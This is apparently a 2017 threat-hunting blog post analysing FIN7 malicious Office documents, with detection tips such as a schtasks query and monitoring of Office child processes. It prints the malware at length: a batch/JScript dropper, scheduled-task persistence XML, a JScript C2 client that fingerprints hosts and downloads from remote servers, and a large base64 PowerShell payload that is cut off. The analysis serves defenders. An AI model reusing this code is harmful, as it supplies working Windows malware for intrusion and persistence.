"PC-DEV","\WPD\TaskManager","N/A","Ready","Interactive only","N/A","1","user1","c:\Users\user1\AppData\Local\Microsoft\Windows\maintools.js EzZETcSXyKAdF_e5I2i1","c:\Users\user1\AppData\Local\Microsoft\Windows\","Windows Task Manager","Enabled","Disabled","Stop On Battery Mode, No Start On Batteries","user1","Enabled","72:00:00","Scheduling data is not available in this format.","At logon time","N/A","N/A","N/A","N/A","N/A","N/A","N/A","N/A","N/A"


In a corporate environment, it is possible to search for that artifact via a query with PowerShell. For example, something  like this would make the work:

 Invoke-Command -ComputerName COMPUTERNAME -ScriptBlock {schtasks /query /fo csv /v | findstr /i maintools}  -credential  USER








                       


                           
                       
                     


                   


                   
↧


                   
                   
                   
                                        

                       

                         
                
    

                       

                     

                     
↧

                   
                                    
                                                                                                                                                                                                                                                                          
                                                                            
                                                                                                                                                                                                                     
                   

                     
                     
                   

                   


                     
                                        


                   
                   

                                          
Hunting FIN7 malicious documents

                     

                                              October 15, 2017, 10:25 am
                     


                     
                     

                     
                     
                                          
                     
                                          
                     
                   


                   
                   


                     
                     

                       
                       

                         
                              
                         

                          
                           $
                         

                         

                            
                               
                           
                           0
                         


                         

                            
                               
                           
                           0
                         


                         
                               
                         

                         
                                
                         
                       

                     

    
                                                               
                     
                     

                       

                         A few days ago I read an interesting post about some new technique that FIN7 Threat Actors are using to deliver malicious payloads in RTF and DOC files. The ratio of detection was in the best case only 1/59



Although at the moment of writing this post the detection is much higher.


In any case, this is an interesting case to take a look.

Both files, the DOC and RTF, contains an OLE object which it is a CMD file. 



The CMD file is a batch file which contains a set of windows commands.


This means that a cmd.exe command will be spawned in order to executed the commands in the file.

A first use case to detect this malicious behaviour is to monitor all the child processes spawned by any Office program. This is the same approach explained in other posts in this blog.




The CMD (unlock.cmd) is the following 


@set w=wsc@ript /b /e:js@cript%HOMEPATH%\tt.txt
@echotry{var fs=new ActiveXObject('Scripting.FileSystemObject');sh=new ActiveXObject('Wscript.Shell');p=sh.ExpandEnvironmentStrings('%%HOM'+'EPATH%%')+'\\pp.txt';var f=fs.OpenTextFile(p,1,false);for(i=0;i^<4;i++)f.SkipLine();var com='';while(!f.AtEndOfStream)com+=f.ReadLine().substr(1);f.Close();try{fs.DeleteFile(p, true);}catch(e){}this[String.fromCharCode(101)+'v'+'al'](com);}catch(e){};>%HOMEPATH%\tt.txt
@copy /y %TMP%\unlock.cmd %HOMEPATH%\pp.txt
@echo%w:@=%|cmd
#function b64dec(data){
# var cdo = new ActiveXObject("CDO.Message");
# var bp = cdo.BodyPart;
# bp.ContentTransferEncoding = "base64";
# bp.Charset = "windows-1251";
# var st = bp.GetEncodedContentStream();
# st.WriteText(data);
# st.Flush();
# st = bp.GetDecodedContentStream();
# st.Charset = "utf-8";
# return st.ReadText;
#}
#var fso = new ActiveXObject("Scripting.FileSystemObject");
#var sh = new ActiveXObject("Wscript.Shell");
#var fldr = sh.ExpandEnvironmentStrings("%HOMEPATH%");
#var p = "";
#p = fldr + "\\whatis.ini";
#if(!fso.FileExists(p)){
# var f = fso.OpenTextFile(p,2,1);
# f.Write( b64dec('ZnVu......
# f.Close();   
#}
#cmd = 'wscript.exe //b //e:jscript "' + p + '"';
#sh.Run(cmd, 0, false);
#fso.DeleteFile(WScript.ScriptFullName, true);
#function Abracadabra(){
# try{
#  var objWord=GetObject("","Word.Application");
#  objWord.Visible = true;
#  objWord.ScreenUpdating = false;
#  var objDoc = objWord.ActiveDocument;
#  objDoc.Content.Select();
#  objWord.Selection.Delete();
#  var objRange = objDoc.Range();
#  objRange.InsertAfter("ȪȪɃɅɄwɁȦɍɧɬɶɵɗɀȄ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("Ȫ ɃɅɄɁȦɍɧ ɬɶɵɗɀȄ ȪȧȀɥȦȿɃɚɚɏwɳɨɁǿȨ ȭȰșșɐɩɘɂɂȕȗȘȱəȓɏɾءاةیییڱڱۉ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("Ȗ ɤɤɢɩ ɕȧɵʋʒɛȚȃȃǾȺȻɄɜwɯȓ ɓɻɘȜȾɒȻɓə ɤɤʂɦɑɑɂȩɶ ʶʂɖɑɤɄɅɄǽȹɥɿɅȮȤɵʷȭɂʐʉʉ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ȩɄɄɤȯȮǾɐʥ ʥʥɋɏɏȰȦɬɫwɒɯɚȩȩɈɓȨɃɃ Ȫɏɏɴɴɗȫȧȯ ȯȯȑȑȕȗțȝȝɦɤɍȹȦȫ Ȯɭʁʀɸɷ ɣȾɗə əəɒɐȸ ȺȚʥ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ʣɸɗʄɻʎʡʠʠʐʐʔʖɫɓɑɣəȹɴwʏȽɞɞ ȻɄɜɯȓɓɻɘȜȾɒ ɑɂȩɶʶʂɖɑɤɄɅɄǽȹɥɿɅȮȤɵ ɃɅɄɁȦɍɧɬɶɵɗɀȄ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ưnjƠƞưƤƊƌ ƛ ƳƴƤƊ ƥwƥƥţƠƠƵ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ŸƌƌƉȮɐɐwɕɖɔɔȾȨʞʞɐʁ");
#  objRange.InsertParagraphAfter();  
#  objRange.InsertAfter("ɂȩɶʶʂɖwɑ Ʉǽȹ");
#  objRange.InsertParagraphAfter();  
#  objWord.ScreenUpdating = true; 
# } catch(e) { }  
#}
#Abracadabra();

Without going into the details of the execution flow, in essence the CMD, while executing the code, generates and executes an obfuscated file, which it is reality a JS file, and this same process is repeated several times in a loop. Several files with different extension are created (.INI, CHM and TXT,) however all of them are executed with the command "wscript" as showed below:







On important thing that happens is that there is a delay of 100s before to execute the second script in order to by-pass sanboxes and AV.

At some stage there is a schedule task created base on an XML.



<?xml version="1.0" encoding="UTF-16"?>
<Taskversion="1.2"xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<TimeTrigger>
<Repetition>
<Interval>PT47M</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2017-05-22T20:21:00</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<ActionsContext="Author">
<Exec>
<Command>wscript.exe</Command>
<Arguments>//b /e:jscript \Users\user1\{2DF6ACDA-8FF7-8208-77F5-8581F0D479E9}\59d76612d0ba68.06041356.txt</Arguments>
</Exec>
</Actions>
</Task>


So now we know how the persistence is achieve: via a schedule task which executes the command:

wscript.exe /b /e:jscript \Users\user1\{2DF6ACDA-8FF7-8208-77F5-8581F0D479E9}\59d76612d0ba68.06041356.txt

The directory "Users\user1\{2DF6ACDA-8FF7-8208-77F5-8581F0D479E9}" is used to store all the temporal files created and executed via the initial CMD command.

The schedule task can be seen via the windows GUI





At some point, there is some commands to map the system




The WScript runs every minute, so it is a good indicator also to check




There is a moment in which one of the scripts spawns a PowerShell command




The script basically acts as a dropper using powershell.

function readFile(p)
{
try{ 
  var fs = new ActiveXObject("Scripting.FileSystemObject");
  var file = fs.GetFile(p);
  var stream = file.OpenAsTextStream(1, 0);
  var content = stream.ReadAll();
  stream.Close();
return content;
 }catch(e){
return"";
 } 
}
function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;
do{ 
  curDate = new Date();
  WScript.Sleep(100);
 }while(curDate-date < millis);
}

function getProxy(){
 var WshShell = new ActiveXObject("WScript.Shell");

try {
  var ProxyEnable = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable");
if(ProxyEnable == 1){
   var ProxyServer = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer");
return ProxyServer;
  }else{
return"";
  }
 } catch (e) {
return"";
 }   
}

function downLoadUrl(metod,urlArr,url,val){
for(var i=0; i<urlArr.length; i++) { 
try {
   var xmlServerHttp = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
   xmlServerHttp.open(metod, urlArr[i] + url, false);
   var prox = getProxy();
if( prox != ""){
    xmlServerHttp.setProxy(2, prox, "");
   }    
   xmlServerHttp.setOption(2, 13056);
   //xmlServerHttp.setTimeouts(0, 0, 0, 0);
   xmlServerHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
   xmlServerHttp.setRequestHeader("Charset","utf-8");
   xmlServerHttp.setRequestHeader("Connection","Keep-Alive");
   xmlServerHttp.setRequestHeader("Keep-Alive","300");
   xmlServerHttp.send(val);
while (xmlServerHttp.readyState != 4) {
      xmlServerHttp.waitForResponse(1000);
   }
if(xmlServerHttp.status == 200) {
return xmlServerHttp.responseText;
   }  
  }catch(e){}
 }
return"";
}

function b64enc(data){
 var cdo = new ActiveXObject("CDO.Message");
 var bp = cdo.BodyPart;
 bp.Charset = "utf-8";
 bp.ContentTransferEncoding = "base64";
 var st = bp.GetDecodedContentStream();
 st.WriteText(data);
 st.Flush();
 st = bp.GetEncodedContentStream();
 var result = st.ReadText(st.Size - 2);
return result.replace(/\r\n/g, '');
}
function b64dec(data){
 var cdo = new ActiveXObject("CDO.Message");
 var bp = cdo.BodyPart;
 bp.ContentTransferEncoding = "base64";
 bp.Charset = "windows-1251";
 var st = bp.GetEncodedContentStream();
 st.WriteText(data);
 st.Flush();
 st = bp.GetDecodedContentStream();
 st.Charset = "utf-8";
return st.ReadText;
}

function cuid(){
 var rmac = "1";
try {
  var oWmiService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
  var cItems = oWmiService.ExecQuery("Select * from Win32_NetworkAdapter where physicaladapter=true");
  var oItem = new Enumerator(cItems);
for (;!oItem.atEnd();oItem.moveNext()) {
   var mac = oItem.item().MACAddress;
if(mac != null && typeof mac == "string"){
    rmac = mac;
   }
  }
  rmac = rmac.replace(/[^A-Za-z0-9]/g, '');
 } catch (e) {} 
 var sn = "2";
try {
  var FSO = new ActiveXObject("Scripting.FileSystemObject");
  var strDrive = FSO.GetDriveName(FSO.GetSpecialFolder(0));
  var D = FSO.GetDrive(strDrive);
  sn = D.SerialNumber;
 } catch (e) {}
 sn = b64enc(sn.toString());
 sn = sn.replace(/[^\w]+/g, "").slice(0, 20);
 rmac = rmac.slice(0, 20);
return sn+rmac;
}

function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min)) + min;
}
function randomString(length, chars) {
    var mask = '';
if (chars.indexOf('a') > -1) mask += 'abcdefghijklmnopqrstuvwxyz';
if (chars.indexOf('A') > -1) mask += 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
if (chars.indexOf('#') > -1) mask += '0123456789';
if (chars.indexOf('!') > -1) mask += '~`!@#$%^&*()_+-={}[]:";\'<>?,./|\\';
    var result = '';
    for (var i = length; i > 0; --i) result += mask.charAt(Math.floor(Math.random() * mask.length));
    return result;
}
function randomParamName(){
    result = randomString(getRandomInt(1,3), 'aA') + randomString(getRandomInt(1,8), 'aA#');
return result;
}
function randomParamData(){
    result = randomString(getRandomInt(1,12), 'aA#');
return result;
}
function randomUrl(str){
 var result = "";
 var parArray = [];
 parArray.push({ name: randomParamName(), data: encodeURI(SimpleEncrypt(str)) });
 parArray.push({ name: randomParamName(), data: encodeURI(b64enc(kkid)) });
for (var i = getRandomInt(0,5); i > 0; --i){
  parArray.push({ name: randomParamName(), data: randomParamData() });
 }
 parArray.sort(function(a, b){return 0.5 - Math.random()});

for (var i = 0; i < parArray.length; i++) {
  result += parArray[i].name + "=" + parArray[i].data + "&";
 } 
return"?" + result.replace(/&+$/,'');
}

function SimpleEncrypt(a){
 var str = b64enc(a);
 var chrArr = str.split('');
 var pos = -1;
 var resultArray = [];
for (var i = 0; i < chrArr.length; i++) {
  pos = alfIn.indexOf(chrArr[i]);
if( pos != -1 ){
   resultArray.push( alfOut.charAt(pos) );
  }else{
   resultArray.push( chrArr[i] );
  }
 }
return resultArray.join("");
}
function SimpleDencrypt(a){
 var str = a;
 var chrArr = str.split('');
 var pos = -1;
 var resultArray = [];
for (var i = 0; i < chrArr.length; i++) {
  pos = alfOut.indexOf(chrArr[i]);
if( pos != -1 ){
   resultArray.push( alfIn.charAt(pos) );
  }else{
   resultArray.push( chrArr[i] );
  }
 }
return b64dec(resultArray.join(""));
}


var evalString = (function () {/*
try{
 var fso = new ActiveXObject("Scripting.FileSystemObject");
 var sh = new ActiveXObject("Wscript.Shell");
 var jsLoaderDir = "{2DF6ACDA-8FF7-8208-77F5-8581F0D479E9}";
 var PS1Body = "JEVuY29kZWRDb21wcmVzc2VkRmlsZSA9IEAnCjdMMXJkK0pLc2liOHZYOEY3OTQxVTNablZRVzZvRXVmdGRkN3VOOUJCaGtFZTJyVlNFZ0pBaUZBU01tbHovN3ZFd0pqQThaVnh1WGUzV2VtYTlXeURVaVJrWEY5SWpKVEZDSi9FTG96UDJITWdzd21kTkpCOEplLy95V0IvelF6TUtlN3YyNTJQK04vdisvZWRFSW51TkZtUzNkMzQyK0o1S2RFM2ZSdE01d0ZHM3o1UVE4aTUvWnI0dmVZM3U5ZnZ5WStQQkQrOUFNNjNIZm9JQlhrc09wc2RqUnVkei9wTExqNTRQNlcvSS9FQnpmeDJRc2ZCL3BTYy94aE9FckVIeEN5di9qdmo0TWZydnI5Zy9zMUh1YjQ1V2RyUFF0T2h2cGo5ek53d2lqd0g2Lzl5eDkvS1J3RWx6R1hqaVRtbk1ITWRvNGxlQzYvbjVQZDBiUWZlUG05dlZtR3p2UkxkdVl6SndpLy91MXZoV0EyM1hPVEhaa0IzbVJ1Ymg1bEg0OTBKcDlibk1hdmEwbE1JQU9KdFNJbFhEOHg4NTBFUFV6dFpqQ2F1UU1uNFM0VFU5TjJFdEU4WVNGOUc2OUt6R2NySjFpT0hNOUx6SVBad0ZrdUU1WWIrdmo3OWtrMmVyREpldzRydDNMbFk2dDZrMFNXWWVENlE1U0k3WG4zZ2ZjTkdmNzBIVEl2R2RNek1wTDRQVEw4ajhqRXdtcmdmZDhqSXB3UktaamVjazlsRUxqejBQSm1nMG5Na1RPSUpmYzlTdUpMbE14WTIzc2F1eHVYUndiemE3YlphT3ZwaHQ3ZXZmeFFTcmRMMzZyNVhpd2xZZjlXcHRuVTIzb3JyWDJycDQxdnRYeWpxSmZpajNsbC83bGVhdVhUdVcvZGRGbi9wcGZyK1hoU3FjUmZFMXd5bWR4ZmtTMlZhN2x2V3F1Wi9hWTN2MVhMdFJwZTgzRVEwdW5NLzdpL0pKZlAzQmNmdWQ2ekZrOTR6K3VIcnVzTC9PNDFYdE53VnArYjF0Z1poSWtITzkrLzJ0KzErL2xvWlVVbi9MeTdXZC9NbmVXNXR6OTk4ajJ5VDlmblpsUFRqV1g5ZTNvKzM3OUEzOHBHUWVENDRmNzEwY1ViMzV5NmcvUnk2VXd0YjNOeGhKWkRQV2ZINlpmRGRiSEIzSHc4dS9uajdSUGR3M3VaeVBWc0o0aUZ0aC82Uzg2aHJ1K2MzWHB6enNpbngvQndOSHArNm9aZnppaW5CN0hyNGdSYmtYODBmbjFtUjU1ek5QclpiYWRzN0s5K25ORCs1VWVNTjNSbm5rOWtNVmFoNDBRRE5OK3lUMmV4a0E5c1JuN29UcDB2WlI4dGZqWnZPd0hEeUxQOFVqY3h5SmhlZXBrTzBlT3NDRFBCRjlUM0VhSGx6ZTN2eWE5UEN2ejE2Ri84T3QrNHI1Ky8vM1J4M28rbTZGSkRkeENieUJPbjhhdWo2Wi9JNDJIeThhMDNIeC92eGZsKzFDTExjd2Y0MSsvM09CRk8rbnA3a2VJRGdacUxjelc5bTQvbGVycVkvOWJRdnpVMXZkeHNwR3ZmU3JtV3dLTXZGc3ZaSTJxSjVKcExXcmVKLzBvMG8vQnpJL0s4dDVPWHhFdmsrWmZJUDA1ekZ3U1B4c29HamhrNjhUczN0eGVkN3I4U2FkditYRWZyUVZFKy9ONFJhc3hDUjBOZFkvTGFKRDdITHZHa2lNVG5qdWxGenRHNEZ4VWN2OFN3ZFovVnp6NTR1cmk5TTVQRVhnYTV0SjcrbGl1MzhsbTkyZW9kdWR2QnVPSVk4VEVkaGJPYXVabEY0YWRFMmwrNldjOWNMajhsSG43dGRmd3BrVi9QOGJjYkhxNXNPNmJuMko4U0dRZHhpVk53SGM4dSsyNzQ4U3FiMnNueDR5Vm1ZM2Q2WXZQSnYzZHlpbS83K2ltaFBHbmc1b0pCN0hpNitkaHhnekJDbDdMdEFGMy9vSCtCLy9wa3dMZTNYOXBPMktSMDZZUTN5WXNXOFowQjJ1N1crVEZaOGJLaFhacjdQOVRtTGc1NE1MK0xadk9DY1JYS3RmeTNFcWJKZk92bkxLdnRMQ0xNTmE3cC9jTnM2NGpYMXhnV24veHVJSHZRZTkwY2pQRFZVVVE1VXYwcmc5WURxVVlVcTZ4SjIvdlV0WHdQbWpybWx4emFUVHMwcC9QTDlua2RRVzNteHRsS243VTNVMnZtNmFibHZXRDNiNXo4anV3TEhub2R5ZGdsbTdRNWo0VnBlaVVIMFh6d0hqS05DdzF6Z0VKd2w2RTd1RVpOeit6d1QzRHk0OUZPUGZ6WWQxOXc3NmZrdWJ0TUV2L0YwOGN6ZmwvbDZHTHlWVGxrbDVaamdvLzUrYjJTUjkwY3o0S2E2MCtjb0lNRkp0cHJiRlM3RnNBTFEvQlhEK0g2Vnc0aHZDVUZObWwyWnI4NUVmNlFlR3dkbUNMd2J4dWptdm5qY1pTM2pYUHZ1OWVPeEYydGtnY3cwcVI1UHd3MnU4RDZpbUdrYTRlSnV5T3ZWUXQvdGVtV3ArYlFpWWM0RUpmRUY0bGZyL1I5Smt4Nzd0Q2ZPcThSajNDMUZncXU1MXd6d05YeTN6bDNFd096R2JyK2NCOS9qbHp3ZWVvNDhaUHJZMG5zNkc4ZTd2cTRFczl1WndTdkgrUnFPOWpONmNwQjNxYW5kbVF0cnhUWjFTRm1ONXZyQjBwZGJRbzczUEJBZjVmd2ZtemVxYXNONENFd3g4cDVCZm1ydGJJbnZ3ZHZyNmpicEt1RmxCMDVnMGs3bXI2QzlodVRGbUx2d2FUbExKMkF2U0pLeW0vVXdHNlU3R3c2ZGNNZkQ2SzhxYjdkNldIKzZwa29iMHkrOFNDdm5ZaDZ0VUhWWnJFcEZUeHorQXB6NHBKWDYveFF5TFNZbWZidGVFYXZHdWRxV1NHV25nWGhvZjY2V0xTL05OajFVS1U4ZmZOZzEwTUtOTEJaRkF5Y3R3MzNCa0VPbkYyTitLYnhyc2NEV1N6UlhPb080a0x2TFNOZW56NWplTlp5dkJrTytkWnBYcDhYY280VkRhOGQ1dnJ3blE0R0l6ZEVuQmdGVjA5S3V0cFdpdDdNTWowdERLNGRTcjdhVFBSYSswMmFVcTQyanpnaVptYytkWWR2R2xDOTJqUXlzOGkzOXlIbHlzSDQ1UFVGU2xxL2VwQ3I3U0xuZU9abVA2T2NzMS9nbkYxckkvejFwVjIyMW5wWVEzcnNibDAxNHZVVjJVUHl0NjhkNllXNjdNTUxiWnMvb1MvMmZNelQ3dGp6MXRmcmVtUUMvOStyUnlid3IrcVJvYW44dTBmMjd4N1p2M3RrYitpUjdhbS9Ua1RYaCtSbkhianZFTDllMWYvdXdQMjdBL2Z2RHR5L08zRC8xM1hnWGg3bEhUdHczeG5rN1hvNDc4QjlKN1AvUkp2dnRSTjVXNzM1Nmc3YzlVM0VOelhncmk5aTM5NS91NzVuK1JQdHQrc2JtRC9WZnJzZTRmMWMrKzE2TVBhejdiZnJNZFE3dE4rdXh6eHZhcjlkand0K3B2MTJmYVo3Yy92dCtxVDAxdmJiOVQzRm4yeS9YWjlJM3Q1K2UwTno4ZnIyMnhzYWl1L1NmcnUrdGZpejdiZnIrNHh2YmIrOVVCRmZiblVKL0ovZmZzTXh2OXQrRS9pWDJtOE4vZUdTOXMvdVR2c1R0cUFlTS91cXRwc2t2bVlUYWh1TFovTWhCUC8wdHNtNEhEKzM1Nk90Z20rbSsyd2o1a3VOMXRmdG9qd1c1WjlncnlmRG5acnFpUVgrMEVwL3RqLzhwMXJwSzV2RG92TC9tcFVLL0xWVytxZEUxWlBoWHJMU2wyTnBydG4rNzdLWi80blYxMWpvNjhLbzgyMzZzSHp4MDN2RW5XOER5NXUvRTZYM29oTjQ3elczdVJtTTdIZlpUSTh5ZDlIZHNEcDZKMnJtK2gycExkL2xFQWJTZVM4VkxwL2FaRDlIeVgwM2p0Nkhqa2ZOZHpQUEdmTm5QNmIwUk1yNUZqakwzZDNuSWZxTWNPQWN6ZmIzcjArVVB5Vks1cDdDdzluTmo1Y1BnTzRqOG85UGdONzdVOU0zaDQ2OWkxOS8rMXRtZzNmdURyYy9rZDBOdDNzUENmN256UnNQbFI3MS9YWjhZdUZ3SHZ1Zm92SjN6L251VHRwbW8yVTRtejRPOFhEcnpma2gyRS9QcGZMcGVFYWY0Z250RVVKQ1BPYm9TVlZ4ZVhNMjJzMHB3N2QvZVoyMU9GUFhmaWZEUTFJNHU2dHRqMytsOGZIL090YjNMMkVhWFBLWmJmRHZheHdZbG54bkZZdjlkWGoxSEp6OEdhYzRud1k3TzhINWhPWmV3SHZ0ZkRaR3RmOWRNTjhwdTYvQmZmSEpycWZoZkJUYWp6MHRGbTJzOFBpWTM3KzlETDFNT1hheVJ4bStrNHM5SE14KytmajBkVEg0TmVlODMzS0t0R1d1WHQ2LzhjWVR0UDhRbW8vckRPOHkrVWU2Tlh6UDN5MnN2UXZkeHpXNjUreSt4d25xQzl6K0F3Nzh2am9kbk1hdFB5RWxuQTE0bWhiT2d2NExxU0Z2YU0yVy9sN1BqZmdUa3NNNXc2OU5ELzlJOWIrOHV2VGV4L0ozVzJlK3U1SGxTbnJ4RHBsM3BIZElxajg3ejVmM3ViMHRVaHllcC9TdVVTMmU3THNRZk56OStLNXNQbEo5Zno1amlzM0FqanM2MTRmSmN3LytFd0xsc3lGUFErV3pJUGc0N09IWmVHZVA0UHBqZjhYenAzVHR3SmJwaDVlZjFQWDQ2ZXVlMW5WMnoxVVBHOHJYdjJXYjlYcFpQMHcxdVU3aXY4ZG5tcjNIQUsxOE85L3E1RTlINE45ckJHMnZtWHoyWHM5L2k1L1ExbTJWOWFQQnhQZWJTQzUvTGl2eHZXWnh0R0t4bjBzNmczL3UzajJSRy8vZW8rVnF0YWNCM2swcGU3WFg4dW4yRWZ2S2UxRi9mQVJmOC81SUYxeVNmOEVoVDczdDNDbkx5OWduSmZIbS9DR1poNGRNWXREU3dnQkxzaVZpLzhSblo1RlFYdlJ1NUhUd0VQN09xQjAvOVRIK2Q5MlRIOXVIWnkzdWNjK25INUI1NmNtUGoyUmlQaDA3Q3A0ZTkzWmNudTBqemRFVC9WNStEbURjTkh5NDBIV1dOeGpRSDhuRS83b2pKM0FPQWV6dmlRL2Z2dXczN1J4b1o4M0JDR1dhOXUzNHM5b0Qrdi9Tbm50dWVQUHhmLzJ2ajdlL2YrYStmc2t2c0lwYll2VzFENEcyaDlYMncyTkpkd3pmKzB1VE9nMjhtVGwxSnh6TjdEaDJuczBqWm5VUEVldnVJSmd0WnpUOHNyT1BMeGR1UDY3bThiNjkyRXNvVTIvMytMY0xkOFRrOTMvZWZEeTc0NHpZa1pHOGp0YlJEY2VrcWs2QTNEOHhkVGJxbDdMUFpoTXN3MzNNcm5FRi8yQTh4L1Y3T0oyamJaL21tYjI5UDEyenA5Wnk2T1dPd3d2OWpNZTdiaDRHK1hUSzhPMHpYejJkNkRQdWY5UkFlUnp3NnhQSG40NHMvV0hhbDd3MjUzak84QUZNL01odEVhN01vNzBkL2I2ckcyNi9YbkxHeExGVEgxOFMzL1A3MTZjM1BqemVFeHZEelpHQTkxZmVKRzl2TDdyNzhRaGM0bnlJb3dGYU8vbnVnaWw2Y21mbTJsOHZldjIxVC8xODJ4TS9IejV3N0lQUWYvYVpuLy9jNTMyV2ZjeFZHR1ZmZnVEbnF3dlgrdWJZRHBIVXgyZGw4NzVJUGlxczQzcDc5K2ZIcCtuWEl3OExVM01aSHNoOXZkeVpQR0xxT1pRL3VnNTFwcmZuemdETDlkMVRmaE1sTjM3TWM5c2RIbGo3ZUZIMldkUHpNTnZzSHM3czc4b1ZsRG1XdUppWEF2dlRzZUYvbDcrNHMxaWV6ajBuUGcrMFN3Kzd2ZUxJMVQ0UTdGSmQzRGc5TnFSOThQenVEQS94ZFI5blBoNDNkcC9taDRiZDltYmhwOFJESnpGVzhKTS92VFNKazlHdjRmK1JSRGR3UTh5YnUxanpnN0xuVWtCck9Ec2JONFBOMDhPRmo2cU1RMXMwWGhtUHd5MEs2QXk4SkNZWXFoMFBjeVBtMnNUeDlaZXBIRXp0Z2RLeElUKzBqbU1JdFY4M09mdDFtM2o4L1BZeThkYy9JeGNOREljL2pGNllCUWVwUEhRdWI1NU4vZFBsZVp4WGxQdG5NcCtBMUF2QTlJVHBRKzE0VVhpL0hsbjhYcUVqL0dXL1JobkgxMSttOGdabFBMMXg4YVBMT2pvZTh6MTFkQzZSVDVlbjl6WWRuVEI5ME5GRm1SN3BxR3U2SVhMYXhuRG1PZnRFOXhwVlhianR1elN2VXR5RFRvNFZjb0hrZStybEJTbDgrdTVjM3FhbFN6TTVLT3Q3VXYzMVdRUXBCSTV6Ull5TEw3OUk0OVc2dVhjZm1seUhkbGVzcU14czVsMEliekhoZjBCME84ejUwOFVaL0ZSczIzRjhGdHBPWkhha2diTjY1RFZhT0wvbFJXSS9VTWREb1hzNWJqMnY1OTVOQVJlbS9PbEYzdCttaUhQdUQ4bzRlLzhGaFJ4Si9wWDZPRzlwWEtEMGF0LzRrVnBPSytQMzFNclp2RCs5TklVMzYrU1k5U09WWEpMZWtVWjBKNGczUEY2VC84OXVlWkhXdFFIclVwZzZJL21lT3JrdzgwOHZ6dUZ0V2pubi9xQ1dTeEk4UjlIWjJYenpXWjg5N3NyQVVTNTFCaDVmdmJXeDk2Q0d1QXMwZlJqblFVUnY3ZkZkKzVWREwzMjlTNHd0SHRuQ3NpMEl5Nzc5STJMblgvTnlTaXplUEhIVWVqajhSV2RCNHVhREcwdnA2WHVNNG1zZnZyem9TT2k3a1Y5dGdyc3FLaGJEelFYeHhpT1I1eE04K1RLa0p4Ny9lTUZLZGw4ODlMblZTZk1QaDZzT0d2M1FZdVo1UjltbE9FOHRMNGtaTnp5ZjFZZUNHeXpEaHdkczdJOGI3RHR6QjRJM3NiSEhoeVljRzk5SkwrLzk1ZTdGUHBaSzR0Y1BqZkRoV0Q1ZUhudnpxK1cwMzlUeTBNODZXc1Q2OHZ4RXkrMVI5L0NQaE9NdG5mK084eEQ0azNsY2lzelBwM0ZWOUVQVzlkbCtDMFVVb1AxZGxNcW54RXVzbnU3S3VMM0E0TTZXME1hKzZMT2QyRzV1OTM3emZLQXY1MXVNemszdjBJQkZhdCtWU2Z4bFk0bHpQMzFVVnJ5UDdNdlRPWnd2NTk5ZmNObVpQL3lVcFZ5VTZ1MHVtUHoxQ21YOXdHN09sSEZrT2M5bjhGTkc4dlAyY2JDTVo2WXhkTTRZL1hLNk53NHZpYjhDN1pKSnZhaUc3eEk4Ly9SazR4eks4TXdPanV6d1JhMjNJK3N5SDhqemoyYjM0ZnN1Y2NMTEgwZGU4R3lWd2o5c1ZUalBCUyt3ZlFrMVhBc1d3bDBXZmJwcGIvMUgxV1NNYTdoUGYva0IyWFBFOENxeVR5dk9SKzNKQThoNEdEbCt0UVBzbU5jZVVxSVQ3Q0hnN3FPYmgrdHVYeURBdjVJQWY0RkFJZDVkOHNQN0Q4OE5QdDRBdkl1Z1J4UDRrcDJoeCs0V2VJL1oyci85TEc1bHpTRFlOTm5PNDVNbkgxMkVNOC9HT2Y1aXhzTy81eTd4SzFwVndvcnZldmJSWVJQV2gzWTBqYlY1Tk1MdWV4ekp5U3dPYnoyeS9aZG5CSTlFZWZoZXlKajBaeXNPRFBIdWcwTGgrVTM3WUhOOFhhRVFINTJQcFJpdnlTY3ZPZm96QVhMUExybUlMVjRoL04yOUwzbnpKWnBZQTh4V2lWK3lwdS9Qd29UNUlPN2Rkd2t1RXpPYXNGMUtuWGdGTEJFdi95OS8rVTVzT0xlK1F4ZzlFdXluUlBKeTEvNkYyUGJ2NlBGL1IvUjR2TzJmRWtYaSt5NkZpTS9IOGVEOHBsL1JKRjhJUFllNUh6SDFGR1Z1bjEzK2doUEhCQWpXbnlucHp3OFFyNG1tc1hqTzV2YW1tSGs2OG5mNVB3MUd5OGdLNDYzRy81eUlGRGVOOW12Yjc3MnBLVHpyZmNTYklQTDdydVcxVFkvd1pHUFRydTN4dURsMnQ1LzFVdnc1L1Q3VUMxK2QrblRSOFZiTUYzWnZKdmI4NzRyNm1DWC9aQy9yU1huMDdPT1RyMm5jUGJMdjhmb25FdlpzK1E2MXhhT0VYNndwbmc2STNWN2cvOXJTN0REZTdlTmJoeWo2TktFdmh4Tj